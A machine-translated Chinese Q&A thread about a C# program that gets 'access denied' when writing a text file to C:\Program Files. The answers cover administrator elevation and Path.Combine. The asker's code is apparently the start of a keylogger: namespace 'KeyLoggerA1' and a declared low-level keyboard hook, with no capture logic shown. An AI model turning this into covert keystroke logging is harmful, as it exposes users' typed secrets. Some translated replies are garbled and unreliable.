C# 创建TXT文件并将其保存到磁盘C:使用system.io,但访问被拒绝

C# 创建TXT文件并将其保存到磁盘C:使用system.io,但访问被拒绝,c#,system.io.file,C#,System.io.file,我试图使用system.io创建一个TXT文件,我把它放在文件路径中,但每次我运行它时,我对磁盘D中的每个文件夹的访问都被拒绝:一切正常,有解决方案吗?我的意思是,我可以在代码中以某种方式访问它吗 我使用的代码是: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.Inter

我试图使用system.io创建一个TXT文件,我把它放在文件路径中,但每次我运行它时,我对磁盘D中的每个文件夹的访问都被拒绝:一切正常,有解决方案吗?我的意思是,我可以在代码中以某种方式访问它吗

我使用的代码是:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Windows.Forms;
using System.IO;

namespace KeyLoggerA1
{
    class Program
    {
        private static int WH_KEYBOARD_LL = 13; //hook procedure type , monitoring low-level keyboard input events
        private static int WM_KEYDOWN = 0x0100;
        private static IntPtr hook = IntPtr.Zero;
        private static LowLevelKeyboardProc llkProcedure = HookCallback;



        static void Main(string[] args)
        {
            string filePath = @"C:\Program Files\Test.txt";

            if (!File.Exists(filePath))
            {
                using (StreamWriter sw = File.CreateText(filePath))
                {
                    sw.WriteLine("test");
                }
            }
我得到的错误是:

未处理的异常:System.UnauthorizedAccessException:对路径“C:\Program Files\Test.txt”的访问被拒绝。 ... 位于System.IO.File.CreateText(字符串路径) 在C:\Users\mirr\source\repos\ConsoleApp2\ConsoleApp2\Program.cs中的KeyLoggerA1.Program.Main(字符串[]args)处:第28行


如果有人能提供帮助,我们将不胜感激

请确保使用
System.IO.Path.Combine()
,因为这是连接文件路径的正确方法

现在回答你的问题,这是完全正常的。您只需提升程序(以管理员身份运行)即可访问该文件夹。
如果要检查程序当前是否以管理员身份运行,

该程序没有适当的权限写入目标。尝试以管理员身份运行该程序,或者将其保存到其他位置(我知道您正在尝试保存到程序文件,因此可能无法保存到其他位置)

我有一个想法,您可以将其设置为您的文本文件,如果在c中有一个文件夹,您可以将其设置为身份验证设置bro

错误消息有什么不清楚的?您没有写入“程序文件”的权限。例如,尝试使用主目录。系统驱动器上的ProgramFiles和许多其他特殊文件夹需要提升/管理员访问权限。改为尝试写入用户的AppData以验证情况是否属实。
Path.Join
与任何事情都有什么关系?只有当您不想在
Path.Combine中内置额外的根逻辑时,它才是“正确的”。而且它仅在dotnet core 2.1+和netstandard 2.1中可用。OP并没有指出他们编译的目的(完整框架、dotnet核心等),所以看起来就像是随机的无关建议。我实际上是想说
Path.Combine
,我的错。